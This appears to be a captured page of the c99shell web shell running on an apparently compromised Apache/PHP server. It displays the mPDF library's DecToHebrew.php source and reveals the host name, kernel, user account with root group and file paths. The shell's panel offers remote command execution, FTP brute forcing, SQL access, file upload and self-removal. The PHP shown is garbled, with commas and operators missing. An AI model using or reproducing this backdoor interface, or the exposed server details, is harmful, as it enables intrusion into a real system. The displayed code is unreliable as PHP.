!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/vendor/mpdf/mpdf/src/Conversion/   drwxr-xr-x
Free 25.2 GB of 117.98 GB (21.36%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     DecToHebrew.php (2.22 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Mpdf\Conversion;

use 
Mpdf\Utils\UtfString;

class 
DecToHebrew
{

    public function 
convert($in$reverse false)
    {
        
// reverse is used when called from Lists, as these do not pass through bidi-algorithm
        
$i = (int) $in// I initially be the counter value
        
$s ''// S initially be the empty string

        // and glyph list initially be the list of additive tuples.
        
$additive_nums = [4003002001009080706050403020191817161510987654321];
        
$additive_glyphs = [0x05EA0x05E90x05E80x05E70x05E60x05E40x05E20x05E10x05E00x05DE0x05DC0x05DB,
            [
0x05D90x05D8], [0x05D90x05D7], [0x05D90x05D6], [0x05D80x05D6], [0x05D80x05D5], 0x05D9,
            
0x05D80x05D70x05D60x05D50x05D40x05D30x05D20x05D10x05D0];

        
// NB This system manually specifies the values for 19-15 to force the correct display of 15 and 16, which are commonly
        // rewritten to avoid a close resemblance to the Tetragrammaton.
        // This function only works up to 1,000
        
if ($i 999) {
            return 
$in;
        }

        
// return as initial numeric string
        // If I is initially 0, and there is an additive tuple with a weight of 0, append that tuple's counter glyph to S and return S.
        
if ($i === 0) {
            return 
'0';
        }

        
// Otherwise, while I is greater than 0 and there are elements left in the glyph list:
        
$additiveNumsCount count($additive_nums);
        for (
$t 0$t $additiveNumsCount$t++) {
            
// Pop the first additive tuple from the glyph list. This is the current tuple.
            
$ct $additive_nums[$t];
            
// Append the current tuple's counter glyph to S x floor( I / current tuple's weight ) times (this may be 0).
            
$n floor($i $ct);
            for (
$j 0$j $n$j++) {
                if (
is_array($additive_glyphs[$t])) {
                    foreach (
$additive_glyphs[$t] as $ag) {
                        if (
$reverse) {
                            
$s UtfString::code2utf($ag) . $s;
                        } else {
                            
$s .= UtfString::code2utf($ag);
                        }
                    }
                } else {
                    if (
$reverse) {
                        
$s UtfString::code2utf($additive_glyphs[$t]) . $s;
                    } else {
                        
$s .= UtfString::code2utf($additive_glyphs[$t]);
                    }
                }
                
$i -= ($ct $n);
            }
            if (
$i === .0 || $i === 0) {
                return 
$s;
            }
        }

        return 
$in// return as initial string
    
}

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0035 ]--